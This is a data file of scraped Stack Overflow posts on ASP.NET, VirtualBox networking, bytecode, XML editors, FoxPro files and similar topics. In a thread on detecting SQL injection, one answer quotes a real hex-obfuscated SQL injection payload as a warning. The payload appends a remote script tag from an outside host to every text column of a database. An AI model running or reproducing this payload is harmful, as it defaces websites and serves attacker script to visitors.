instruction
stringlengths
0
30k
I have an extender control that raises a textbox's OnTextChanged event 500ms after the user has finished typing. The problem with this is that OnTextChanged get raised when the textbox loses focus, which causes problems (because of the postback). What I'd like to do is give the extender control its own server-side event (say, OnDelayedSubmit) so I can handle it separately. The event will originate in the extender control's behavior script (after the 500ms delay), so putting a __doPostBack in onchanged for instance, is not an option.
I dunno if it works, but no matter what **your algorithm is not even worth implementing**. Finding _all_ cycles will be the freaking huge bottleneck that will kill it. Also doing that without iterations is impossible. Why don't you implement some standard algorithm, let's say [Prim's][1]. [1]: http://en.wikipedia.org/wiki/Prim%27s_algorithm
What exactly is Appdomain recycling
|asp.net|
I am trying to figure out what exactly is Appdomain recycling? When a aspx page is requested for the first time from a DotNet application, i understand that an appdomain for that app is created, and required assemblies are loaded into that appdomain, and the request will be served. Now, if the web.config file or the contents of the bin folder, etc are modified, the appdomain will be "recycled". My question is, at the end of the recycling process, will the appdomain be loaded with assemblies and ready to serve the next request? or a page has to be requested to trigger the assemblies to load?.
[Andy Rutledge][1] has written a pretty interesting article on success. Though the title is [Pre-bid Discussions][2], the article defines *having a successful project*, which for Andy entails: 1. Will I or my team be allowed to bring our best work to the final result? 2. Is the client prepared to engage in the project appropriately? 3. Is the client prepared to begin this project? 4. Is the client prepared to invest trust in my or my team’s ideas? 5. Am I or is my team prepared to fulfill or exceed the project requirements? This article was pointed out by Obie Fernandez, a successful consultant, in his [Do the Hustle][3] conference about consulting. [1]: http://www.andyrutledge.com/ [2]: http://andyrutledge.com/pre-bid-discussions.php [3]: http://www.infoq.com/presentations/fernandez-sales-do-the-hustle
You can generally twist a code coverage tool's arm and get a report that shows the paths that have been executed during a given run. This report should show the code itself, with the first few columns marked up according to the coverage tool's particular notation on whether a given path was executed. You might be able to use this straight up, or you might have to preprocess it and either remove the code that was not executed, or add a new notation on each line that tells whether it was executed (most tools will only show path information at control points): So from a coverage tool you might get a report like this: T- if(sometest) { x somecode; } else { - someother_code; } The notation T- indicates that the if statement only ever evaluated to true, and so only the first part of the code executed. The later notation 'x' indicates that this line was executed. You should be able to form a regex that matches only when the first column contains a T, F, or x so you can capture all the control statements executed and lines executed. Sometimes you'll only get coverage information at each control point, which then requires you to parse the C file and mark the execute lines yourself. Not as easy, but not impossible either. Still, this sounds like an interesting question where the solution is probably more work than it's worth... -Adam
How can I allow incoming connections to a server inside of VirtualBox?
|virtualbox|
I have a NAT configured to run when loading up my favorite Linux distribution in VitualBox. This allows outgoing connections to work successfully. How do I allow incoming connections to this box, like, say, Web traffic? The IP address is 10.0.2.15. A ping request from my main box results in a Timeout.
Use GtkBuilder instead of Glade, it's integrated into Gtk itself instead of a separate library. The main benefit of Glade is that it's much, much easier to create the interface. It's a bit more work to connect signal handlers, but I've never felt that matters much.
This is the best I could come up with on a first cut: public List<String> getRandomItemsFromList(int returnCount, List<String> list) { List<String> returnList = new List<String>(); Dictionary<int, int> randoms = new Dictionary<int, int>(); while (randoms.Count != returnCount) { //generate new random between one and total list count int randomInt = new Random().Next(list.Count); // store this in dictionary to ensure uniqueness try { randoms.Add(randomInt, randomInt); } catch (ArgumentException aex) { Console.Write(aex.Message); } //we can assume this element exists in the dictonary already //check for randoms length and then iterate through the original list //adding items we select via random to the return list if (randoms.Count == returnCount) { foreach (int key in randoms.Keys) returnList.Add(list[randoms[key]]); break; //break out of _while_ loop } } return returnList; } Using a list of randoms within a range of 1 - total list count and then simply pulling those items in the list seemed to be the best way, but using the Dictionary to ensure uniqueness is something I'm still mulling over. Also note I used a string list, replace as needed.
A quick Google turned up [this][1] for a toolkit. While I have never used it, it seems to be quite popular and solid. Not exactly a package, and not really rolling your own, but sort of in the middle. [1]: http://www.cs.fsu.edu/~engelen/soap.html
I'd also like to point out an excellent [tutorial/discussion](http://railsforum.com/viewtopic.php?id=14216&p=1) on extending the core functionality of Restful Authentication, in case you're looking for something a bit more robust.
RegEx to Detect SQL Injection
|sql|regex|
I'm looking for a good solid Regular Expression for detecting SQL in a string. Does anyone have a sample of something they've used before?
I've mainly used plain ASP.NET pages that return XML for situations that are mainly one-way (data from ASP.NET --> Flex/Flash) communication. The Flex side just uses a URLLoader to hit the ASP.NET page and loads the result as XML. If the communication needs to be a little more two-sided (sending more than a couple parameters to ASP.NET lets say), I have used standard ASP.NET webservices. I've never used WebOrb or Flex remoting because I've never really needed that type of interaction between the server and the SWF. Hope that helps.
One thing to remember about Apache's Etags is that they don't play well in clusters because they include inode information that can—and probably will—vary between machines in the same cluster.
Don't do it. You're practically guaranteed to fail. Use `PreparedStatement` (or its equivalent) instead.
I don't have a regex but my understanding is that the most important thing is to detect the single quote. All the injection attacks start from there. They probably have the -- in there too to comment out and other SQL that might be after the string.
use stored procs or prepared statements, how will you detect something like this? BTW do NOT run that DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415 245204054205641524348415228323535292C40432056415243 4841522832353529204445434C415245205461626C655 F437572736F7220435552534F5220464F522053454C45435420612E6 E616D652C622E6E616D652046524F4D207379736F626A65637473206 12C737973636F6C756D6E73206220574845524520612E69643D622E6 96420414E4420612E78747970653D27752720414E442028622E78747 970653D3939204F5220622E78747970653D3335204F5220622E78747 970653D323331204F5220622E78747970653D31363729204F50454E2 05461626C655F437572736F72204645544348204E4558542046524F4 D205461626C655F437572736F7220494E544F2040542C40432057484 94C4528404046455443485F5354415455533D302920424547494E204 55845432827555044415445205B272B40542B275D20534554205B272 B40432B275D3D525452494D28434F4E5645525428564152434841522 834303030292C5B272B40432B275D29292B27273C736372697074207 372633D687474703A2F2F7777772E63686B626E722E636F6D2F622E6 A733E3C2F7363726970743E27272729204645544348204E455854204 6524F4D205461626C655F437572736F7220494E544F2040542C40432 0454E4420434C4F5345205461626C655F437572736F72204445414C4 C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);
I have found that generally the most performant and stable way to push/pull large amounts of data of a device over activesync is to use a socket. Early on we used CeRapiInvoke and a stream to pull data down of the device but ditched this early on in favour of using tcp/ip over a socket.
Oh no, [red tape][1]. Well this is going to be a tall order to fill. You mentioned [here][2] that you use a state server to serve your session state. How do you have this setup? Maybe you can do something similar here also? [1]: http://stackoverflow.com/questions/48070/moving-viewstate-out-of-the-page#48105 [2]: http://stackoverflow.com/questions/48026/good-book-on-scaling-aspnet-applications#48045
Oh no, [red tape][1]. Well this is going to be a tall order to fill. You mentioned [here][2] that you use a state server to serve your session state. How do you have this setup? Maybe you can do something similar here also? Edit Awh @Jonathan, [you posted][3] while I was typing this answer up. I think going that route could be promising. One thing is that it will definitely be memory intensive. [@Mike][4] I don't think storing it in the session information will be a good idea, due to the memory intensiveness of viewstate and also how many times you will need to access the viewstate. SessionState is accessed a lot less often as the viewstate. I would keep the two separate. I think the ultimate solution would be storing the ViewState on the client some how and maybe worth looking at. With [Google Gears][5], this could be possible now. [1]: http://stackoverflow.com/questions/48070/moving-viewstate-out-of-the-page#48105 [2]: http://stackoverflow.com/questions/48026/good-book-on-scaling-aspnet-applications#48045 [3]: http://stackoverflow.com/questions/48070/moving-viewstate-out-of-the-page#48128 [4]: http://stackoverflow.com/questions/48070/moving-viewstate-out-of-the-page#48133 [5]: http://gears.google.com/
From [Dragons in the Algorithm][1], an interpretation in C#: int k = 10; // items to select var items = new List<int>(new[] { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12 }); var selected = new List<int>(); var needed = k; var available = items.Count; var rand = new Random(); while (selected.Count < k) { if( rand.NextDouble() < needed / available ) { selected.Add(items[available-1]) needed--; } available--; } This algorithm will select unique indicies of the items list. [1]: http://mcherm.com/permalinks/1/a-random-selection-algorithm
Just to add something here, process explorer comes in handy when trying to track down a process: [http://technet.microsoft.com/en-us/sysinternals/bb896653.aspx][1] Beats task manager hands down and can be substituted. [1]: http://technet.microsoft.com/en-us/sysinternals/bb896653.aspx
VirtualBox (after version 1.3.8, anyway) will let you map incoming connections in the NAT configuration. There's an excellent tutorial on [Aviran's Place][1] that describes the steps to configure port mapping. [1]: http://www.aviransplace.com/2008/06/12/virtualbox-configuring-port-forwarding-with-nat/
I think you just answered your own question: platform independence. Platform-independent bytecode is produced and distributed to its target platform. When executed it's quickly compiled to native code either before execution begins, or simultaneously ([Just In Time][1]). The Java JVM and presumably the .NET runtimes operate on this principle. [1]: http://en.wikipedia.org/wiki/Just-in-time_compilation
The only answer I can think of right now is - read the manual for uudeview. As much as I would like to help you, I am not an expert in this area, so you'll have to wait for someone more knowledgable to come down here and help you. Meanwhile I can give you links to some documents that might help you: * <http://www.fpx.de/fp/Software/UUDeview/> * <http://xdflengine.sourceforge.net/doc_1037.html> * <http://xdflengine.sourceforge.net/doc_1044.pdf> Sorry if this doesn't help you.
If you are into web design and website creation then I recommend [Boagworld][1] and also [The Rissington podcast][2] even if you are not. [1]: http://boagworld.com/ [2]: http://therissingtonpodcast.co.uk/
I agree that your text editor is probably your best bet. I do know some people who swear by [XMLSpy][1], if you need something that's tailored specifically for dealing with XML files in a visual way. I bet you could find some F/OSS work-alikse but I'm not aware of any. [1]: http://www.altova.com/products/xmlspy/xml_editor.html
The [oXygen XML Editor][1] a great IDE for Windows, bit expensive tho. [1]: http://www.oxygenxml.com/
[Open source XML editors examined](http://www.linux.com/articles/43020) - it is a little bit outdated though.
It's kinda low tech, and there might be a better solution out there, but you could just store your schema in an SQL script which can be run to create the database. I think you can execute a command to generate this script, but I don't know the command unfortunately. Then, commit the script into source control along with the code that works on it. When you need to change the schema along with the code, the script can be checked in along with the code that requires the changed schema. Then, diffs on the script will indicate diffs on schema changes. With this script, you could integrate it with DBUnit or some kind of build script, so it seems it could fit in with your already automated processes.
I work a lot with XML, and have found [Oxygen][1] to be a great editor. It's cross-platform and has a graphical schema editor, but since I use DTDs and not schemas, I can't vouch for the schema editor's quality. The rest of the editing package (such as the XML editor and XSLT debugger) is solid, so it could be worth a try. [1]: http://www.oxygenxml.com/
The [Google Developer Podcast][1] is good. [1]: http://google-code-updates.blogspot.com/2007/05/introducing-google-developer-podcast.html
denny wrote: > I personally feel that if reusable code is split into projects it is simpler to use other places than if it is just in folders. I really agree with this - if you can reuse it, it should be in a separate project. With that said, it's also very difficult to reuse effectively :) Here at SO, we've tried to be very simple with three projects: * MVC Web project (which does a nice job of separating your layers into folders by default) * Database project for source control of our DB * Unit tests against MVC models/controllers I can't speak for everyone, but I'm happy with how simple we've kept it - really speeds the builds along!
Disable WPF label accelerator key (text underscore is missing)
|wpf|user-interface|
I am setting the .Content value of a Label to a string that contains underscores; the first underscore is being interpreted as an accelerator key. Without changing the underlying string (by replacing all _ with __), is there a way to disable the accelerator for Labels?
I also never heard of nested functions in C, but if gcc supports it, this is not going to work the way you expect. You are just simply copying the machine instructions of isNot, and that won't include the actual value of "original" at the time "not" is being called. You should you a C++ class to implement a [function object][1] that stores a pointer that you can initialize with the value of "original" and return an instance of this class from "not". [1]: http://en.wikipedia.org/wiki/Function_object
I also never heard of nested functions in C, but if gcc supports it, this is not going to work the way you expect. You are just simply copying the machine instructions of isNot, and that won't include the actual value of "original" at the time "not" is being called. You should use a C++ class to implement a [function object][1] that stores a pointer that you can initialize with the value of "original" and return an instance of this class from "not". [1]: http://en.wikipedia.org/wiki/Function_object
Generate disk usage graphs/charts with CLI only tools in Linux
|linux|storage|disk|shell|diskspace|
[In this question][1] someone asked for ways to display disk usage in Linux. I'd like to take this one step further down the cli-path... how about a shell script that takes the output from something like a reasonable answer to the previous question and generates a graph/chart from it (output in a png file or something)? This may be a bit too much code to ask for in a regular question, but my guess is that someone already has a oneliner laying around somewhere... [1]: http://stackoverflow.com/questions/32230/tracking-down-where-disk-space-has-gone-on-linux
I just don't get continuations!
|functional-programming|learning|
What are they and what are they good for? I do not have a CS degree and my background is VB6 -> ASP -> ASP.NET/C#. Can anyone explain it in a clear and concise manner?
|functional-programming|continuations|callcc|
It really depends on the application and the situation, but just keep in mind that every hit to the server is costly, both in adding load (perhaps minimally), but also in terms of UI responsiveness. I am of the mind that doing things in JavaScript when possible is a good idea, if it can make your UI feel snappier. Of course, it all depends on what you are trying to do, and whether it matters if the UI is snappy (an internal web app probably doesn't NEED extra development to make the UI more attractive and quicker/easier to use, whereas something that is used by the general public by a mass audience probably needs to be as polished and tuned as possible).
[Subsonic][1] is also another option. I often use it to generate entity classes that map to a database. It has a command line utility that lets you specify tables, types, and a host of other useful things [1]: http://subsonicproject.com/
What are advantages of bytecode over native code?
|bytecode|.net|java|
It seems like anything you can do with bytecode you can do just as easily and much faster in native code. In theory, you could even retain platform and language independence by distributing programs and libraries in bytecode then compiling to native code at installation. So in general, when would you want to execute bytecode instead of native?
|.net|java|bytecode|
It seems like anything you can do with bytecode you can do just as easily and much faster in native code. In theory, you could even retain platform and language independence by distributing programs and libraries in bytecode then compiling to native code at installation, rather than JITing it. So in general, when would you want to execute bytecode instead of native?
Hank Shiffman from SGI said (a long time ago, but it's till true): > There are three advantages of Java > using byte code instead of going to > the native code of the system: > > 1. **Portability**: Each kind of computer has its unique instruction > set. While some processors include the > instructions for their predecessors, > it's generally true that a program > that runs on one kind of computer > won't run on any other. Add in the > services provided by the operating > system, which each system describes in > its own unique way, and you have a > compatibility problem. In general, you > can't write and compile a program for > one kind of system and run it on any > other without a lot of work. Java gets > around this limitation by inserting > its virtual machine between the > application and the real environment > (computer + operating system). If an > application is compiled to Java byte > code and that byte code is interpreted > the same way in every environment then > you can write a single program which > will work on all the different > platforms where Java is supported. > (That's the theory, anyway. In > practice there are always small > incompatibilities lying in wait for > the programmer.) > > 2. **Security**: One of Java's virtues is its integration into the Web. Load > a web page that uses Java into your > browser and the Java code is > automatically downloaded and executed. > But what if the code destroys files, > whether through malice or sloppiness > on the programmer's part? Java > prevents downloaded applets from doing > anything destructive by disallowing > potentially dangerous operations. > Before it allows the code to run it > examines it for attempts to bypass > security. It verifies that data is > used consistently: code that > manipulates a data item as an integer > at one stage and then tries to use it > as a pointer later will be caught and > prevented from executing. (The Java > language doesn't allow pointer > arithmetic, so you can't write Java > code to do what we just described. > However, there is nothing to prevent > someone from writing destructive byte > code themselves using a hexadecimal > editor or even building a Java byte > code assembler.) It generally isn't > possible to analyze a program's > machine code before execution and > determine whether it does anything > bad. Tricks like writing > self-modifying code mean that the evil > operations may not even exist until > later. But Java byte code was designed > for this kind of validation: it > doesn't have the instructions a > malicious programmer would use to hide > their assault. > > 3. **Size**: In the microprocessor world RISC is generally preferable > over CISC. It's better to have a small > instruction set and use many fast > instructions to do a job than to have > many complex operations implemented as > single instructions. RISC designs > require fewer gates on the chip to > implement their instructions, allowing > for more room for pipelines and other > techniques to make each instruction > faster. In an interpreter, however, > none of this matters. If you want to > implement a single instruction for the > switch statement with a variable > length depending on the number of case > clauses, there's no reason not to do > so. In fact, a complex instruction set > is an advantage for a web-based > language: it means that the same > program will be smaller (fewer > instructions of greater complexity), > which means less time to transfer > across our speed-limited network. So when considering byte code vs native, consider which trade-offs you want to make between portability, security, size, and execution speed. If speed is the only important factor, go native. If any of the others are more important, go with bytecode. I'll also add that maintaining a series of OS and architecture-targeted compilations of the same code base for every release can become very tedious. It's a huge win to use the same Java bytecode on multiple platforms and have it "just work."
[pyPDF][1] works fine (assuming that you're working with well-formed PDFs). If all you want is the text (with spaces), you can just do: import pyPdf pdf = pyPdf.PdfFileReader(open(filename, "rb")) for page in pdf.pages: print page.extractText() You can also easily get access to the metadata, image data, and so forth. A comment in the extractText code notes: > Locate all text drawing commands, in > the order they are provided in the > content stream, and extract the text. > This works well for some PDF files, > but poorly for others, depending on > the generator used. This will be > refined in the future. Do not rely on > the order of text coming out of this > function, as it will change if this > function is made more sophisticated. Whether or not this is a problem depends on what you're doing with the text (e.g. if the order doesn't matter, it's fine, or if the generator adds text to the stream in the order it will be displayed, it's fine). I have pyPdf extraction code in daily use, without any problems. [1]: http://pybrary.net/pyPdf/
[Wine][1] is the the only way to run DirectX in Linux [1]: http://winehq.com
Ideally you would have portable bytecode that compiles Just In Time to native code. I think the reason bytecode interpreters exist without JIT is due primarily to the practical fact that native code compilation adds complexity to a virtual machine. It takes time to build, debug, and maintain that additional component. Not everyone has the time or resources to make that commitment. A secondary factor is safety. It's much easier to verify an interpreter won't crash than to guarantee the same for native code. Third is performance. It can often take more time to generate machine code than to interpret bytecode for small pieces of code that only run once.
Bytecode creates an extra level of indirection. The advantages of this extra level of indirection are: - Platform independence - Can create any number of programming languages (syntax) and have them compile down to the same bytecode. - Could easily create cross language converters - x86 and x64 no longer need to be compiled as seperate binaries. Only the proper virtual machine needs to be installed. - Each OS simply needs to create a virtual machine and it will have support for the same program. - Just in time compilation allows you to update a program just by replacing a single patched source file. (Very beneficial for web pages) Some of the disadvantages: - Performance - Easier to decompile
I would like to compare two collections (in C#), but I'm not sure of the best way to implement this efficiently. I've read the other thread about [Enumerable.SequenceEqual][1], but it's not exactly what I'm looking for. In my case, two collections would be equal if they both contain the same items (no matter the order). Example: collection1 = {1, 2, 3, 4}; collection2 = {2, 4, 1, 3}; collection1 == collection2; // true What I usually do is to loop through each item of one collection and see if it exists in the other collection, then loop through each item of the other collection and see if it exists in the first collection. (I start by comparing the lengths). if (collection1.Count != collection2.Count) return false; // the collections are not equal foreach (Item item in collection1) { if (!collection2.Contains(item)) return false; // the collections are not equal } foreach (Item item in collection2) { if (!collection1.Contains(item)) return false; // the collections are not equal } return true; // the collections are equal However, this is not entirely correct, and it's probably not the most efficient way to do compare two collections for equality. An example I can think of that would be wrong is: collection1 = {1, 2, 3, 3, 4} collection2 = {1, 2, 2, 3, 4} Which would be equal with my implementation. Should I just count the number of times each item is found and make sure the counts are equal in both collections? --- The examples are in some sort of C# (let's call it pseudo-C#), but give your answer in whatever language you wish, it does not matter. **Note:** I used integers in the examples for simplicity, but I want to be able to use reference-type objects too (they do not behave correctly as keys because only the reference of the object is compared, not the content). [1]: http://stackoverflow.com/questions/43500/is-there-a-built-in-method-to-compare-collections-in-c
1) Start -> Run -> msconfig 2) Check the Startup tab 3) If you don't know what it is, uncheck 4) Reboot Its not the registry, its the crap you have running in the background.
Instead of hiding, what I have done is swapping buttons using javascript. Show another greyed out image on the click of the first button.
You don't necessarily want to show the button disabled on postback. You want to make sure they don't accidentally submit twice. So disabling or hiding the button as a result of a _server-side_ action is already too late in the game. By this point the 2nd request is already on it's way. You need to either do it with javascript or make sure your server side code won't run twice.
arr.GetLength(y) should be arr.GetLength(1)
CSS - Placement of a div in the lower left-hand corner
|divpositioning|
I wish I were a CSS smarty .... How can you place a div container in the lower left-hand corner of the web page; taking into account the users scroll-position? Thanks in advance for any assistance.
|html|positioning|
What's the easiest way to read a FoxPro DBF file from Python?
|python|dbf|visual-foxpro|foxpro|
I've got a bunch of FoxPro (VFP9) DBF files on my Ubuntu system, is there a library to open these in Python? I only need to read them, and would preferably have access to the memo fields too.
|python|foxpro|visual-foxpro|dbf|
I've got a bunch of FoxPro (VFP9) DBF files on my Ubuntu system, is there a library to open these in Python? I only need to read them, and would preferably have access to the memo fields too. **Update**: Thanks @cnu, I used Yusdi Santoso's [`dbf.py`][1] and it works nicely. One gotcha: The memo file name extension must be lower case, i.e. `.fpt`, not `.FPT` which was how the filename came over from Windows. [1]: http://www.physics.ox.ac.uk/users/santoso/dbf.py.src
In the absence of a VCS for table changes I've been logging them in a wiki. At least then I can see when and why it was changed. It's far from perfect as not everyone is doing it and we have multiple product versions in use, but better than nothing.
> Very close, but then I lose everything from ClassX. Below is something a collegue gave me that does do the trick, but it's hideous. There has to be a better way. Looks like you're trying to set up some sort of proxy object scheme. That's doable, and there are better solutions than your colleague's, but first consider whether it would be easier to just patch in some extra methods. This won't work for built-in classes like `bool`, but it will for your user-defined classes: def HTMLDecorator (obj): def html (): sep = cgi.escape (repr (obj)) return sep.join (("<H1>", "</H1>")) obj.html = html return obj And here is the proxy version: class HTMLDecorator(object): def __init__ (self, wrapped): self.__wrapped = wrapped def html (self): sep = cgi.escape (repr (self.__wrapped)) return sep.join (("<H1>", "</H1>")) def __getattr__ (self, name): return getattr (self.__wrapped, name) def __setattr__ (self, name, value): if not name.startswith ('_HTMLDecorator__'): setattr (self.__wrapped, name, value) return super (HTMLDecorator, self).__setattr__ (name, value) def __delattr__ (self, name): delattr (self.__wraped, name)
Start Schedulrd Windows Task From SSIS
|ssis|sql-server|windows|
Does anyone know if you can and how to start off a scheduled Windows task on a Remote Server from within an SSIS package? Cheers Nigel
Can you start a scheduled Windows task from SQL Server Integration Services ?
|windows|sql-server|ssis|
Use the &lt;noscript&gt; HTML tags.
Here is something a little different, use a FilterAttribute: [NavigationLocationFilter("Products")] public ViewResult List() { return View(); } ... public class NavigationLocationFilterAttribute : ActionFilterAttribute { public string CurrentLocation { get; set; } public NavigationLocationFilterAttribute(string currentLocation) { CurrentLocation = currentLocation; } public override void OnActionExecuting(ActionExecutingContext filterContext) { var controller = (Controller)filterContext.Controller; controller.ViewData.Add("NavigationLocation", CurrentLocation); } } ... And in the view: <%= ViewData["NavigationLocation"] %>
<noscript> ...some non-js code </noscript>
You might have javascript execute some AJAX query and check to see if it has. Those that download the page and don't execute the query either have JS disabled or they're robots.
[How A Method Becomes An Action](http://haacked.com/archive/2008/08/29/how-a-method-becomes-an-action.aspx) by Phil Haack
He's asking for a check to see if javascript is enabled. I can only think of doing exactly what the OP said - try using some Javascript with an interval to send a callback if JS is activated - unfortunately I don't think you can check server side whether JS is enabled which is why you use <noscript> tags rather than render different content from the server.
Really all you can do is put some message in the <noscript> tags. I seem to remember trying this on ASP.NET somewhere, but you can really only tell if the browser supports Javascript, not whether or not it is actually allowed/enabled.
I don't know much about CFML, but .NET has the ability to detect browser capabilities. It does not, however, have the ability to detect if the browser is **capable** of javascript, but has it turned **off**. So, you're stuck there too. Besides the HTML noscript tag, there's not much you can do, as far as I know, besides writing javascript progressively (see progressive enhancement) so that you don't need to check for Javascript:off.
Not sure what you are trying to do but if you just need to inform the user that Javascript is required you can just use the '&lt;noscript&gt;' tag. If you need to know on the server you could make an Ajax style request to the server from javascript. If you get the request javascript is working otherwise its not.
I don't know JS, but would it be possible to modify the links inside the page with JS? If someone goes to the unmodified link, they're not using JS, but if they do then they are using JS. Does this make any sense?
@Dave Ward: This normally would work. However, the code is to attach event on behavior object. Because the creation of behavior object happens during Application.Init, attaching to that event will lead to unpredictable behavior. It will be nice if there is PostInit event.
You attach the emails then reference them in your HTML like so: <img src="cid:imagefilename.jpg" /> Outlook, at least, recognizes this as a reference to an attached image and dumps it in appropriately.
|css|html|positioning|
Based on the javadoc for LWUIT and J2ME and guessing that the custom J2ME class is a [Canvas](http://java.sun.com/javame/reference/apis/jsr118/javax/microedition/lcdui/Canvas.html) it looks like you would have to: * Subclass [LWUIT's Component class](https://lwuit.dev.java.net/javadocs/com/sun/lwuit/Component.html) wrapping the custom J2ME component * Override the paint() method of the LWUIT Component * Subclass the [J2ME Graphics class](http://java.sun.com/javame/reference/apis/jsr118/javax/microedition/lcdui/Graphics.html) wrapping the LWUIT Graphics class and pass all the method calls through * Pass in the wrapped J2ME Graphics implementation to the custom J2ME component's paint method That third step is an ugly one. Check on the [LWUIT mailing list](https://lwuit.dev.java.net/servlets/SummarizeList?listName=users) to see if anyone has dome this before. From the published APIs I don't see another way to do it.
Based on the javadoc for LWUIT and J2ME and guessing that the custom J2ME class is a [Canvas](http://java.sun.com/javame/reference/apis/jsr118/javax/microedition/lcdui/Canvas.html) it looks like you would have to: * Subclass [LWUIT's Component class](https://lwuit.dev.java.net/javadocs/com/sun/lwuit/Component.html) wrapping the custom J2ME component * Override the paint() method of the LWUIT Component * Subclass the [J2ME Graphics class](http://java.sun.com/javame/reference/apis/jsr118/javax/microedition/lcdui/Graphics.html) wrapping the LWUIT Graphics class and pass all the method calls through * Pass in the wrapped J2ME Graphics implementation to the custom J2ME component's paint method That third step is an ugly one. Check on the [LWUIT mailing list](https://lwuit.dev.java.net/servlets/SummarizeList?listName=users) to see if anyone has dome this before. From the published APIs I don't see another way to do it. Edit: The hack added in the question looks better than my hack for an Image. What I have *may* be better for a general case, but I don't know either LWUIT or J2ME well enough to really say that.
[phpUnderControl][1] - continuous integration. Don't forget about version control (e.g. using [CVS][2] or [Subversion][3])! [1]: http://www.phpundercontrol.org/ [2]: http://www.nongnu.org/cvs/ [3]: http://subversion.tigris.org/
Turns out, that while loop is severe CPU hog :P I found a better way: ZipCommand = "7za.exe a -r -y " & ZipDest & BuildLabel & ".zip " & buildSourceDir Set wshShell = WScript.CreateObject("Wscript.Shell") wshShell.Run ZipCommand,1,1 The last two arguments are Show window and Block Execution :)